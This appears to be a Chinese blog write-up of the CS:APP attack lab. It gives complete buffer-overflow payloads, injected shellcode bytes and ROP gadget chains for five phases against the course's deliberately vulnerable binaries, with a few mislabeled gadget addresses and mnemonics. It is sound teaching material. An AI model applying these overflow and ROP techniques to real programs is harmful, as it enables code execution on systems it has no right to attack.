深入理解计算机系统attack lab

这里写图片描述

Attack lab

一:实验梗概

Attack lab:要求你进行五次攻击。攻击方式是code injection代码注入和Reeturn-oriented programming(ROP),在你做完这个lab,你会收获:
1. 你将知道当程序没有做缓冲区溢出安全时,黑客是如何攻击程序的。
2. 你将知道编译器和操作系统是如何增强程序的健壮性。
3. 你将明白怎么编写更安全的程序
4. 你将明白x86-64构架下,程序是如何使用栈和参数传递。
5. 你将学会GDB和OBJDUMP的用法。
文件列表:

文件 用途
ctarget 用来做Code injection攻击的程序
rtarget 用来做ROP攻击的程序
cookie.txt 作为攻击的标识符
hex2raw 用来生成工具字符串
farm.c 稍后解释

任务:
这里写图片描述
话不多说,开始Attack

二:实验准备

GDB

OBJDUMP

ctarget

被攻击程序之一,在该程序里,会首先执行getbuf函数,读取标准输入。
其中Gets函数于书中gets函数类似。
BUFFER_SIZE不告诉你,你自己去找。

unsigned getbuf()
{
    char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

参数 (ctarget和rtarget都有)
-q 不发送成绩
-i 从文件中输入
如果你没有使用-q,就会出现

FAILED: Initialization error: Running on an illegal host [localhost.localdomain]

因为你没有使用CMU的内网,是无法建立连接的。所以你每次进行操作都要带上-q。我用的最多的是-qi.

Code Injection

通过使缓冲区溢出,注入攻击代码。

ROP

介绍下return-oriented programming是什么意思吧。
ROP即使用你程序里的字节代码攻击你的程序。听起来有些神奇,举个例子:

void setval_210(unsigned *p)
{
    *p = 3347663060U;
}

这个程序看起来很普通,但如果反汇编成机器字节代码

0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

仔细看: 48 89 c7可以编码为movq %rax,%rdi,c3可以编码为ret。如果程序从0x400f18开始执行,将执行

movq %rax,%rdi 
ret

这种带有ret的指令段,称为gadget,而farm.c里有很多这种garget。你可以利用这些garget进行攻击。
(注:farm.c已经编译进了rtarget,也就是说,你反汇编rtarget时,你就会找到farm.c里的函数)
这里写图片描述
这里写图片描述
这里写图片描述

ret c3
nop 90

hex2raw

将16进制转换为字符串,这样,机器才能识别。
用法:
将1.txt文件里的内存转换为字符串并输出到2.txt

./hex2raw <1.txt >2.txt  

如果是数据,要遵循小端
如果是代码,就不用

生成机器字节代码

使用GCC汇编和OBJDUMP反汇编来生成机器字节代码
例:

// in 1.s
pushq $0xabcdef
addq $17,%rax
movl %eax,%edx

步骤:
gcc -c 1.s -o 1.o 
objdump -d 1.o >1.txt

//in 1.txt(生成的)
1.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 68 ef cd ab 00 pushq $0xabcdef
5: 48 83 c0 11 add $0x11,%rax
9: 89 c2 mov %eax,%edx

这样,你就知道上面指令对应的机器字节代码是什么了。

68 ef cd ab 00 /* pushq $0xabcdef */
48 83 c0 11 /* add $0x11,%rax */
89 c2 /* mov %eax,%edx */

三:实验步骤

CODE INJECTION

phase1

ctarget将执行test函数,你的任务是在执行完getbuf函数后,程序不执行test函数,而是执行touch1函数
这里写图片描述
这里写图片描述
第一个关卡我说详细点,把整个lab流程说一遍。
首先看看ctarget的反汇编代码,寻找关键信息。

objdump -d ctarget |less

其中,我看找到了getbuf和touch1的反汇编代码:
这里写图片描述
从中我们可以分析,getbuf中,%rsp被减了0x28,也就是BUFFER_SIZE大小是40。touch1函数地址是0x4017c0。有了这两个关键信息,我们就可以写攻击字符串了。
这里写图片描述
思路是:getbuf函数执行ret指令后,后,就会从%rsp+40处获取返回地址,只要我们修改这个返回地址,改为touch1的地址,就能使程序返回touch1,而不是test。所以,攻击序列应该是:
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
c0 17 40 00 /* 小端 */
保存在1.txt里,并通过hex2raw转换为字符串。并执行程序。

./hex2raw <1.txt >2.txt
./ctarget -qi 2.txt

这里写图片描述
第一关就通过啦”★,°:.☆( ̄▽ ̄)/$:.°★ 。”

phase 2

这关要求:要求程序执行完getbuf()后,执行touch2,而且还要传入参数,即你的cookie
这里写图片描述
首先,反汇编找到touch2的起始地址
这里写图片描述
我们理一理要求,把参数设置为cookie,即把%rdi的值改为cookie
再执行touch2. 即ret touch2的地址。
转换为汇编代码:

// in 1.s
movq $0x59b997fa,%rdi
pushq  $0x4017ec
ret

gcc -c 1.s -o 1.o 
objdump -d 1.o >2.txt 

// in 2.txt

2.o:     文件格式 elf64-x86-64
Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   9:   68 ec 17 40 00          pushq  $0x4017ec
   e:   c3                      retq   

这里写图片描述
由上图,可以攻击序列
48 c7 c7 fa
97 b9 59 68
ec 17 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55
在通过hex2raw转换就ok
这里写图片描述
这样,第二个关卡也做完啦( ̄▽ ̄)”

phase 3

这关要求:要求程序执行完getbuf()后,执行touch3,而touch3的参数是你cookie的字符串地址。
这里写图片描述
首先,反汇编找到touch3的地址
这里写图片描述
这里写图片描述
这里,字符串必须放在ret地址后面,因为后面函数执行时(在hexmatch函数里,向系统请求了100字节的空间,使可能覆盖变为铁定会覆盖),会覆盖掉字符串。
而hexmatch比较的是字符串,所以cookie还要转换成字符串(用16进制表示)

5 9 b 9 9 7 f a _
35 39 62 39 39 37 66 61 \0

这样,就构成了攻击序例
48 c7 c7 a8
dc 61 55 68
fa 18 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55
00 00 00 00 //retq,是8字节
35 39 62 39
39 37 66 61
00 00 00 00
再hex2raw就ok了
这里写图片描述
这样代码注入攻击我们就做完啦”★,°:.☆( ̄▽ ̄)/$:.°★ 。”

RETURN-ORIENTED PROGRAMMING

rtarget使用了2项技术防止了代码注入攻击,所以我们要使用ROP攻击方法
①栈随机化。
②栈只可读

phase4

使用ROP把phase2重做一遍
第一次使用ROP,我说详细点。



首先,你要想清楚你要干什么。
第一,把%rdi设置为cookie
第二:执行touch2
转换成汇编代码即使:

movq $0x59b997fa,%rdi
pushq $0x4017ec
ret

这是,会发现难点,gadget不可能有movq $0x59b997fa,%rdi,pushq $0x4017ec。那我们只能曲线救国了。
把\$0x59b997fa放在栈中,再popq %rdi.。代码有了,那我们就去寻找gadget
addval_219
这里写图片描述

0x4019ab 58    #popq %rax
0x4019ac 90    #nop
0x4019ae c3    #ret

addval_273
这里写图片描述

0x4019a2 48 89 c7     #movq %rax,%rdi 
0x4019a5 c3           #ret

这里写图片描述
ROP攻击就要好好化栈图,这样自己才不会糊涂,这样就能确定攻击序列
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
ab 19 40 00
00 00 00 00
fa 97 b9 59
00 00 00 00
a2 19 40 00
00 00 00 00
ec 17 40 00
00 00 00 00
再hex2raw就ok了
这里写图片描述
就差最后一个关卡啦(ง •_•)ง加油

phase5

最后一个关卡,连官方都说很难,要花很长时间。所以如果要做的小伙伴,最好腾出
小时以上哦。
最后一个关卡的任务是:用ROP的方法把phase3做一遍
其实是差不多的,(这里我就不详细解释)

方法一:

思路和phase3是一样的,把cookie放在后面。但是由于栈是随机化的,所以提前在栈里写入字符串的位置是不可能的了.所以怎么找到字符串的位置?我们可以通过,浮动求得字符串位置的值。

movq %rsp,%rax
addq 0x40,%rax
movq %rax,%rdi

但是在提供的指令里,是没有addq,所以只能找addq的替代品了。在farm.c里,我们找到了add_xy, 即 %rdi+%rsi =%rax。这样为解决问题提供了契机。
需要的gadget:
addval_190
这里写图片描述

0x401a06 48 89 e0    #movq %rsp,%rax
0x401a09 c3          #ret



addval_426
这里写图片描述

0x4019c5 48 89 c7     #movq %rax,%rdi
0x4019c8 90           #nop
0x4019c9 c3           #ret 



addval_219
这里写图片描述

0x4017ab 58   #popq %rax
0x4017ac 90   #nop
0x4017ad c3   #ret




getval_481
这里写图片描述

0x4019dd 89 c2    #movl %eax,%edx
0x4019df 90       #nop
0x4019e0 c3       #ret




getval_159
这里写图片描述

0x401a34 89 d1  #movl %edx,%rcx
0x401a36 38 c9  #???
0x401a38 c3     #ret




addval_436
这里写图片描述

0x401a13 89 ce   #movl %ecx,%esi
0x401a15 90      #nop
0x401a16 90      #nop
0x401a17 c3      #ret




add_xy
这里写图片描述

0x4019d8 04 37   #add 0x37.al
0x4019da c3      #ret   




//in addval_190
movq %rsp,%rax
ret
//in addval_426
movq %rax,%rdi
ret
//in addval_219
popq %rax
ret
//in getval_481
movl %eax,%edx
ret
//in getval_159
movl %edx,%ecx
ret
//in addval_436
movl %ecx,%rsi
ret
//in add_xy
lea (%rdi,%rsi,1),%rax
retq 
//in addval_426
movq %rax,%rdi
ret

画出栈图,就能清楚popq 的值应该为0x48
(%rsp+80处放字符串,%rsp+8处才开始执行addval_190.所以 (%rsp+80)-(%rsp+8)=72=0x48)
这里写图片描述
由上,我们可以得到攻击序列
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
06 1a 40 00
00 00 00 00
c5 19 40 00
00 00 00 00
ab 19 40 00
00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00
00 00 00 00
34 1a 40 00
00 00 00 00
13 1a 40 00
00 00 00 00
d6 19 40 00
00 00 00 00
c5 19 40 00
00 00 00 00
fa 18 40 00
00 00 00 00
35 39 62 39 39
37 66 61 00



方法二:

寻找gadget
addval_190
这里写图片描述

0x401a06 48 89 e0    #movq %rsp,%rax
0x401a09 c3          #ret



addval_426
这里写图片描述

0x4019c5 48 89 c7     #movq %rax,%rdi
0x4019c8 90           #nop
0x4019c9 c3           #ret 



add_xy
这里写图片描述

0x4019d8 04 37   #add 0x37.al
0x4019da c3      #ret   

这里写图片描述

// address is 0x401a06,execute a part of addval_190
movq %rsp,%rax
ret
//address is ox4019d8,execute a part of add_xy
add 0x37,%al
ret
//address is 0x4019c5,execute a part of addval_426
movq %rax,%rdi
ret

由上,可以知道攻击序列为
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
06 1a 40 00
00 00 00 00
d8 19 40 00
00 00 00 00
c5 19 40 00
00 00 00 00
fa 18 40 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 35
39 62 39 39
37 66 61 00
再hex2raw就ok啦
这里写图片描述

四:实验心得:

爽!o( ̄︶ ̄)o

猜你喜欢

转载自blog.csdn.net/weixin_41256413/article/details/80463280
今日推荐